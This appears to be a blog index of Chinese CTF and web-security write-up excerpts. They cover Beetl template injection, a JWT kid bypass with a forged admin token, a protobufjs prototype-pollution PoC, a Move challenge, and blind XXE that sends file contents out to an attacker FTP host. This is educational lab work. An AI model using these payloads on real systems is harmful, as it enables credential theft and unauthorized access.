Ciscn 2024 final Fobee wp

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 前言 拿到了前段时间ciscn 2024 final的web题附件,来复现一下Fobee这道题,顺便学习一下beetl的模板注入。 3.15.x及以前的版本 过滤的很少,随便绕过。贴几个公开的poc: https://gitee.com/xiandafu/beetl/issues/I6RUIP https://gitee.com/xiandafu/beetl/issues/I914H3 3.16.0 3.16.0是题目使用的版本也是本文使用的版本。 测试环境为java8u65, beetl 3.16.0, solon 2.8.5 入口 @Mapping("/render") public ModelAndView render(String pass, String tp) throws Exception { ModelAndView model = new ModelAndView("render.htm"); if (pass != null && pass.equals(password)) { byte[] decode = Base64.getDecoder().decode(tp); String result = BeetlKit.render(new String(decode), new HashMap()); System.out.println(result); model.put("msg", getMD5Hash(result)); } else { model.put("msg", "Render Page"); } return model; } 渲染过程 由renderTo进入execute函数。然后遍历所有要执行的语句然后依次执行。 每条语句的具体执行代码在org.beetl.core.statement.NativeCallExpression#evaluate函数。 public Object evaluate(Context ctx) { Class targetCls = null; Object targetObj = null; NativeNode lastNode = null; if (insNode !...

July 27, 2024 · 3 min

d3ctf-2024-web-wp

d3pythonhttp 解决,一血 jwt绕过 def get_key(kid): key = "" dir = "/app/" try: with open(dir+kid, "r") as f: key = f.read() except: pass print(key) return key def verify_token(token): header = jwt.get_unverified_header(token) kid = header["kid"] key = get_key(kid) try: payload = jwt.decode(token, key, algorithms=["HS256"]) return True except: return False 验证jwt时kid控制密钥文件路径,如果设置的密钥文件不存在,则key为空,所以构造空秘钥以及一个不存在的文件即可: print(jwt.encode({"username":"admin","isadmin":true}, key, algorithm="HS256", headers={"kid": "frontend_keyasdasd"})) # eyJhbGciOiJIUzI1NiIsImtpZCI6ImZyb250ZW5kX2tleWFzZGFzZCIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNhZG1pbiI6dHJ1ZX0.LmTEt2GD0-nVv-yvf7Dc0lNAlQqBj9FYBb932_UWO6M 解析差异 一种做法是TE-CL请求走私。不过我用的是另一种办法:前端使用Flask,后端使用web.py存在解析差异。 经测试发现:前段对于chunked不分大小写,后端会区分。前端只进行分块传输,忽略Content-Length。而后端会先分块,再根据Content-Length截取,前端会把Content-Length直接发送给后端。 headers = {key: value for (key, value) in request.headers if key != 'Host'} 除了Host以外的header都发往后端了包括Content-Length,且前端不进行计算验证。 数据包:...

April 28, 2024 · 6 min

bi0s CTF 2024 wp

required note 用npm audit搜索历史漏洞。发现一个原型链污染的漏洞。 POC: const protobuf = require("protobufjs"); protobuf.parse('option(a).constructor.prototype.verified = true;'); console.log({}.verified); // returns true /create会进行protojs解析。 app.post('/create', (req, res) => { requestBody=req.body try{ schema = fs.readFileSync('./settings.proto', 'utf-8'); root = protobuf.parse(schema).root; Note = root.lookupType('Note'); [...] 在/customise可以修改settings.proto文件。 app.post('/customise',(req, res) => { try { const { data } = req.body; let author = data.pop()['author']; let title = data.pop()['title']; let protoContents = fs.readFileSync('./settings.proto', 'utf-8').split('\n'); if (author) { protoContents[5] = ` ${author} string author = 3 [default="user"];`; } if (title) { protoContents[3] = ` ${title} string title = 1 [default="user"];`; } fs....

February 27, 2024 · 3 min

movectf_2024_wp

Checkin sorce:100 题目源码: module movectf::checkin { use sui::event; use sui::tx_context::{Self, TxContext}; const ESTRING:u64 = 0; struct Flag has copy, drop { sender: address, flag: bool, } public entry fun get_flag(string: vector<u8>, ctx: &mut TxContext) { assert!(string == b"MoveBitCTF",ESTRING); event::emit(Flag { sender: tx_context::sender(ctx), flag: true, }); } } 带着MoveBitCTF字符串作为参数调用get_flag函数。传参要用字节。 # 转换为十六进制 print("0x") for i in "MoveBitCTF": print(hex(ord(i)).replace("0x",""),end="") 调用即可: sui client call --package package_id --module module_name --function get_flag --args 0x4d6f7665426974435446 --gas-budget 10000000 DynamicMatrixTraversal sorce: 200...

January 13, 2024 · 10 min

盲XXE中FTP协议的利用

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。 关于盲XXE的文件读取 盲XXE想要读取文件一般来说需要外带。但是如果文件中包含换行等特殊字符,直接http外带,会报无效url错误。 在php环境下,可以直接使用php伪协议中的filter进行编码转换,就不会报错了。 但在java环境下或者禁用filter的情况下,可以尝试用ftp://协议外带。 环境 这里使用的环境是Hello-Java-Sec的靶场环境 https://github.com/j3ers3/Hello-Java-Sec/ jdk8 漏洞代码: DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); // 这里其实有回显,偷懒不改代码了,假装看不见。 原理 使用ftp://协议可以带出带有换行的数据。 (可利用版本:jdk<7u141和jdk<8u162,高于这两个版本ftp://协议也不能用了。) 正常的ftp服务器不能满足我们的需要,但我从网上找到的模拟ftp服务器都不能用(也可能是我不会用),于是就自己写了一个。 链接:https://github.com/zoiltin/fake-ftp-server 写脚本之前,先了解一下调用ftp://协议是发生了什么。通过读取/etc/passwd为例,payload:ftp://ip:port/{data}数据交互如下: 蓝色的为fake-ftp-server。 建立连接和确定模式后,服务器开始发送CWD指令,因为在/etc/passwd中有许多/将数据分割为许多目录,所以服务器一直尝试切换目录。我们要做的就是接受并不断返回250 Directory successfully changed.让服务器一直传数据。 在最后一个/后的数据,服务器将其视为要下载的文件名,请求用被动模式下载数据,从流量中可见,攻击者开启63568端口并告诉服务器,当服务器连接63568端口后,即向我们发送了要下载的文件名也就是最后一段数据。 ftp://协议比较简单,脚本很容易实现。 用法 payload: <!ENTITY % file SYSTEM "file://"> <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://IP:PORT/%file;'>"> 简单的用法: ftp://IP:PORT/%file; 或者全用CWD读取: ftp://IP:PORT/%file;/ 数据中不能包含%和#,如果有'或"需要调整evil.dtd中包裹ftp://的引号类型,不然会报错。?和#会导致数据截断。 在高版本也可以十分有限的利用: ftp://username:%file;@IP:PORT/asdasd 将数据从密码处传递,只能读一行 如果文件有多行会报错,回显一部分。

November 22, 2023 · 1 min